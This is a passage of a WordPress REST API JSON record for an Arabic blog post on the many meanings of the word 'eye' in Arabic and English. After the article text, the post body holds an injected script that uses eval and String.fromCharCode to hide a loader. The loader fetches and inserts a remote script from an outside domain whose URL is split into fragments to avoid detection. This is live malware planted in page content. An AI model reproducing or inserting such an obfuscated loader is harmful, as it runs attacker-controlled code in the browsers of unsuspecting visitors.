\u0644\u0630\u0627 \u0623\u062a\u0648\u0642\u0641 \u0639\u0646\u062f \u0647\u0630\u0627 \u0627\u0644\u062d\u062f .<\/p>\n<p style=\"text-align: justify;\">\u00a0\u00a0<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0623\u0628\u0648 \u0627\u0644\u062d\u0633\u0646 \u0645\u062d\u0645\u062f \u0639\u0644\u0649 | \u0645\u0635\u0631 &#8211; \u0623\u0633\u0648\u0627\u0646 \u0645\u0646\u0630 \u0633\u0646\u0649 \u062f\u0631\u0627\u0633\u0627\u062a\u0646\u0627 \u0627\u0644\u0623\u0648\u0644\u0649 \u0644\u0644\u063a\u0629 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u0627\u0633\u062a\u0642\u0631 \u0641\u0649 \u0648\u062c\u062f\u0627\u0646\u0646\u0627 \u0648 \u0646\u0642\u0634 \u0641\u0649 \u0639\u0642\u0648\u0644\u0646\u0627 \u0623\u0646 \u0643\u0644\u0645\u0629 \u0639\u064a\u0646 \u062a\u0639\u0646\u0649 \u0628\u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 &#8221; eye&#8221;\u00a0 \u0648 \u0647\u0630\u0627 \u0644\u0627 \u0631\u064a\u0628 \u0635\u062d\u064a\u062d \u0644\u0643\u0646 \u0645\u0627 \u064a\u063a\u064a\u0628 \u0639\u0646 \u0623\u0630\u0647\u0627\u0646 \u0627\u0644\u0643\u062b\u064a\u0631\u064a\u0646 \u0647\u0648 \u0623\u0646 \u0647\u0627\u062a\u064a\u0646 \u0627\u0644\u0643\u0644\u0645\u062a\u064a\u0646 \u0645\u062a\u0634\u0639\u0628\u062a\u0649 \u0627\u0644\u0645\u0639\u0627\u0646\u0649 \u0648 \u0643\u062b\u064a\u0631\u062a\u0649 \u0627\u0644\u0625\u0633\u062a\u062e\u062f\u0627\u0645 \u0641\u0649 \u0627\u0644\u0644\u063a\u062a\u064a\u0646 : \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0648 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629\u00a0 &hellip;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"_links":{"self":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/23281"}],"collection":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=23281"}],"version-history":[{"count":1,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/23281\/revisions"}],"predecessor-version":[{"id":23282,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/23281\/revisions\/23282"}],"wp:attachment":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=23281"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=23281"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=23281"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}